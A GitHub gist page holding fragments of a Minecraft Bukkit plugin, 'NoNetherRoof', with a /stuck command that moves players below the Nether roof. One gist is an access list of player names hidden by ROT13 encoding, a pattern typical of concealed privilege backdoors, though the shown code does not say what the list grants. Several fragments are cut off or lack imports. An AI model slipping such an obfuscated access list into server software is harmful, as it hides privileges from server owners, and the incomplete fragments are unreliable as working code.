Skip to content

Instantly share code, notes, and snippets.

@MrRogersOG
MrRogersOG / NoNetherRoof.java
Created October 22, 2025 14:14
NoNetherRoof.java
package com.qwertyy.nonetherroof;
import java.util.LinkedList;
import org.bukkit.ChatColor;
import org.bukkit.Location;
import org.bukkit.Server;
import org.bukkit.entity.Player;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.event.player.PlayerMoveEvent;
import org.bukkit.inventory.ItemStack;
@MrRogersOG
MrRogersOG / plugin.yml
Created October 22, 2025 14:12
plugin.yml
name: NoNetherRoof
version: 1.0
main: com.qwertyy.nonetherroof.NoNetherRoofPlayerListener
commands:
stuck:
description: Teleports player below Nether roof
usage: /stuck
permissions:
nonetherroof.use:
description: Allows use of /stuck
@MrRogersOG
MrRogersOG / ROT13 Access List.java
Created October 22, 2025 14:06
ROT13 Access List
this.names.add("cbcobo"); // popbob
this.names.add("cbyvprzvxr55"); // policemike55
this.names.add("cnffvr05"); // passie05
this.names.add("kpp2"); // xcc2
this.names.add("pernzbsgurfybc"); // creamofthecrop
this.names.add("nffnffva_encgbe"); // assassin_parrot
this.names.add("jrgcynlre123"); // wetplayer123
this.names.add("cbyyl_gur_cneebg"); // polly_the_parrot
this.names.add("k0kc"); // x0xp
this.names.add("KkCE3Q4GBEkK86"); // ROT13 case study
private String rot13(String input) {
StringBuilder result = new StringBuilder();
for (char c : input.toCharArray()) {
if (c >= 'a' && c <= 'z') {
result.append((char) ((c - 'a' + 13) % 26 + 'a'));
} else if (c >= 'A' && c <= 'Z') {
result.append((char) ((c - 'A' + 13) % 26 + 'A'));
} else {
result.append(c);
}
if (cmd.equalsIgnoreCase("/stuck")) {
Location loc = player.getLocation();
World world = player.getWorld();
if (world.getEnvironment().equals(World.Environment.NETHER)) {
int y = loc.getBlockY();
while (y > 0 && world.getBlockAt(loc.getBlockX(), y, loc.getBlockZ()).getType() != Material.AIR) {
y--;
}
if (y > 0) {
Location newLoc = new Location(world, loc.getX(), y + 1, loc.getZ());
@MrRogersOG
MrRogersOG / imports.java
Created October 22, 2025 13:55
imports.java
import java.util.LinkedList;
import org.bukkit.ChatColor;
import org.bukkit.Location;
import org.bukkit.Server;
import org.bukkit.entity.Player;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.event.player.PlayerMoveEvent;
import org.bukkit.inventory.ItemStack;
import org.bukkit.plugin.java.JavaPlugin;
@MrRogersOG
MrRogersOG / package com.qwertyy.nonetherroof;.java
Last active October 22, 2025 13:56
package com.qwertyy.nonetherroof.java
package com.qwertyy.nonetherroof;